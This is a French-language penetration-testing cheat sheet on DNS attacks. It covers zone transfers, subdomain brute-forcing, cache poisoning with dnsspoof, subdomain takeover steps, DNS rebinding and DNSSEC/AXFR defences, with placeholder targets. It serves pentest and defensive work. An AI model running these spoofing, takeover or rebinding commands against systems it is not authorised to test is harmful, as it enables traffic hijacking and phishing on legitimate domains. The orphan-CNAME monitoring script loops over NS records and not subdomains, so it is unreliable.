---
title: "DNS Attacks — Zone Transfer, Cache Poisoning, Subdomain Takeover"
domain: security
subdomain: pentest
phase: 03-enumeration
type: snippet
tags: [dns, zone-transfer, cache-poisoning, subdomain-takeover, axfr, dnsrecon, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Zone Transfer (AXFR) — Dump complet du DNS

```bash
# Trouver les serveurs DNS autoritaires
dig NS {{TARGET_DOMAIN}}
host -t NS {{TARGET_DOMAIN}}

# Tenter un transfert de zone (dig)
dig AXFR {{TARGET_DOMAIN}} @{{DNS_SERVER}}
dig AXFR {{TARGET_DOMAIN}} @ns1.{{TARGET_DOMAIN}}

# Avec host
host -l {{TARGET_DOMAIN}} {{DNS_SERVER}}

# Avec nmap NSE
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain={{TARGET_DOMAIN}} -p 53 {{DNS_SERVER}}

# Avec dnsrecon
dnsrecon -d {{TARGET_DOMAIN}} -t axfr
```

```bash
# Si le transfert réussit → dump de tous les enregistrements A, CNAME, MX, TXT
# Chercher dans le dump :
# - Sous-domaines internes (vpn.{{TARGET_DOMAIN}}, dev.{{TARGET_DOMAIN}})
# - IPs internes (RFC 1918 : 10.x, 172.16.x, 192.168.x)
# - Serveurs mail (enregistrements MX)
# - Enregistrements SPF/DKIM (infos sur la messagerie)

# Extraire uniquement les IPs depuis un dump AXFR
dig AXFR {{TARGET_DOMAIN}} @{{DNS_SERVER}} | grep -E "^[^;].*\sA\s" | awk '{print $NF}' | sort -u
```

---

## Énumération DNS par brute force

```bash
# dnsrecon — brute force sous-domaines
dnsrecon -d {{TARGET_DOMAIN}} -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# dnsenum
dnsenum --dnsserver {{DNS_SERVER}} --enum -p 0 -s 0 {{TARGET_DOMAIN}}

# Subfinder (OSINT passif + actif)
subfinder -d {{TARGET_DOMAIN}} -o subdomains.txt

# Amass (combinaison de sources)
amass enum -d {{TARGET_DOMAIN}} -o amass_results.txt

# Gobuster DNS
gobuster dns -d {{TARGET_DOMAIN}} -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -r {{DNS_SERVER}}

# MassDNS (très rapide — millions de domaines)
massdns -r resolvers.txt -t A -o S -w results.txt subdomains_to_check.txt
```

---

## DNS Cache Poisoning — Empoisonnement du cache

```
Principe :
1. Attaquant demande la résolution de evil.{{TARGET_DOMAIN}} → force le resolver à faire une requête
2. Attaquant envoie de fausses réponses UDP avec le bon Transaction ID (force brute possible)
3. Si la fausse réponse arrive avant la vraie, le resolver cache l'IP malveillante
4. Toutes les victimes utilisant ce resolver obtiennent l'IP de l'attaquant

Conditions :
- Resolver vulnérable (pas de randomisation du port source / Transaction ID prévisible)
- Attaquant capable d'inonder avec de fausses réponses UDP
- Pas de DNSSEC sur le domaine cible
```

```bash
# Vérifier la randomisation du port source du resolver cible
# (indice de vulnérabilité au cache poisoning)
nmap --script dns-random-srcport,dns-random-txid {{DNS_SERVER}} -p 53 -sU

# Test avec dnsspoof (dsniff) — sur le LAN
dnsspoof -i {{INTERFACE}} -f hosts.txt
# hosts.txt :
# {{LHOST}}  *.{{TARGET_DOMAIN}}

# Vérifier si DNSSEC est actif (protection contre le poisoning)
dig {{TARGET_DOMAIN}} +dnssec
# Chercher "ad" flag dans les flags → DNSSEC validé

dig DS {{TARGET_DOMAIN}} @8.8.8.8
# Pas de réponse DS = pas de DNSSEC chaîné
```

---

## Subdomain Takeover

```
Principe :
1. Le DNS pointe vers un service tiers (CNAME → app.github.io, storage.azure.com, etc.)
2. Le service tiers n'est plus actif (projet supprimé, abonnement expiré)
3. L'attaquant crée un compte sur ce service et revendique le sous-domaine
4. → Contrôle du sous-domaine (cookies, localStorage, phishing sur le domaine légitime)
```

### Détection

```bash
# Identifier les CNAME qui pointent vers des services tiers éteints
# Liste des sous-domaines (depuis AXFR ou brute force)
for sub in $(cat subdomains.txt); do
  cname=$(dig CNAME $sub +short)
  if [ ! -z "$cname" ]; then
    echo "$sub → $cname"
    # Vérifier si la cible répond
    curl -sI "https://$cname" 2>/dev/null | head -1
  fi
done

# Subjack (outil automatisé)
subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c /opt/subjack/fingerprints.json -v

# Nuclei — templates subdomain takeover
nuclei -l subdomains.txt -t vulnerabilities/generic/subdomain-takeover.yaml

# can-i-take-over-xyz — référence des services vulnérables
# https://github.com/EdOverflow/can-i-take-over-xyz
```

### Services fréquemment vulnérables

```
Service           Signature CNAME             Indication takeover
────────────────  ──────────────────────────  ─────────────────────────────
GitHub Pages      github.io                   "There isn't a GitHub Pages site here"
Heroku            .herokuapp.com              "No such app"
Netlify           .netlify.app                404 Netlify page
Shopify           .myshopify.com              "Sorry, this shop is currently unavailable"
AWS S3            .s3.amazonaws.com           "NoSuchBucket"
AWS CloudFront    .cloudfront.net             "Bad request" / "The request could not be satisfied"
Azure             .azurewebsites.net          "Web App Not Found"
Fastly            .global.ssl.fastly.net      "Fastly error: unknown domain"
```

```bash
# Takeover GitHub Pages :
# 1. Créer un repo GitHub : {{USERNAME}}/{{TARGET_SUBDOMAIN}}
# 2. Activer GitHub Pages sur le repo
# 3. Le sous-domaine pointe maintenant vers ton contenu

# Takeover AWS S3 :
aws s3api create-bucket --bucket {{BUCKET_NAME}} --region us-east-1
# Héberger un fichier index.html
aws s3 website s3://{{BUCKET_NAME}}/ --index-document index.html
```

---

## DNS Rebinding

```
Principe :
1. Attaquant contrôle evil.com avec un TTL très court (0s)
2. Victime visite evil.com → son navigateur résout evil.com → IP attaquant
3. JavaScript charge du contenu → attaquant change le DNS de evil.com → 127.0.0.1 (TTL expiré)
4. Navigateur fait une nouvelle requête → résout evil.com → 127.0.0.1
5. Same-Origin Policy satisfaite (même domaine evil.com) → JS accède à localhost:{{PORT}}
```

```bash
# Singularity (outil DNS rebinding)
git clone https://github.com/nccgroup/singularity
# Interface web : http://{{LHOST}}:8080
# Cible locale : http://127.0.0.1:{{TARGET_LOCAL_PORT}}
```

---

## Défense DNS

```bash
# Activer DNSSEC sur la zone (BIND9)
dnssec-keygen -a ECDSAP256SHA256 -n ZONE {{TARGET_DOMAIN}}
# Signer la zone
dnssec-signzone -A -3 $(head -c 1000 /dev/random | sha256sum | cut -b 1-16) \
  -N INCREMENT -o {{TARGET_DOMAIN}} -t {{ZONE_FILE}}

# Configurer le resolver pour valider DNSSEC (unbound)
# /etc/unbound/unbound.conf :
# validator:
#   enable: yes
#   trust-anchor-signaling: yes
```

```bash
# Bloquer les transferts de zone sauf depuis les secondaires autorisés (BIND9)
# /etc/bind/named.conf :
# zone "{{TARGET_DOMAIN}}" {
#   type master;
#   file "/etc/bind/zones/{{TARGET_DOMAIN}}.zone";
#   allow-transfer { {{SECONDARY_DNS_IP}}; };   # uniquement le secondaire
# };

# Réponse type si AXFR bloqué :
# dig AXFR {{TARGET_DOMAIN}} → "Transfer failed."
```

```bash
# Surveiller les CNAME orphelins (cronjob quotidien)
#!/bin/bash
for sub in $(dig NS {{TARGET_DOMAIN}} | grep -oP '\S+\.{{TARGET_DOMAIN}}'); do
  cname=$(dig CNAME $sub +short)
  if [ ! -z "$cname" ]; then
    http_code=$(curl -sI "https://$cname" -o /dev/null -w "%{http_code}" --max-time 5)
    if [[ "$http_code" == "000" || "$http_code" == "404" ]]; then
      echo "ALERTE TAKEOVER : $sub → $cname (HTTP $http_code)"
    fi
  fi
done
```

<Warning>
Un transfert de zone réussi expose l'intégralité de l'infrastructure : sous-domaines internes, serveurs de staging, IPs privées, technologies utilisées. C'est souvent la première étape d'un pentest externe qui débouche sur des cibles à fort impact. Bloquer AXFR est une mesure critique mais oubliée sur ~15% des serveurs DNS publics selon les études régulières.
</Warning>

<Tip>
Pour détecter un subdomain takeover en automatique, intégrer **nuclei** avec le template `subdomain-takeover` dans un pipeline CI ou un cron hebdomadaire sur la liste des sous-domaines DNS de l'organisation. C'est l'un des seuls vecteurs critiques entièrement automatisables avec un taux de faux positifs quasi nul.
</Tip>
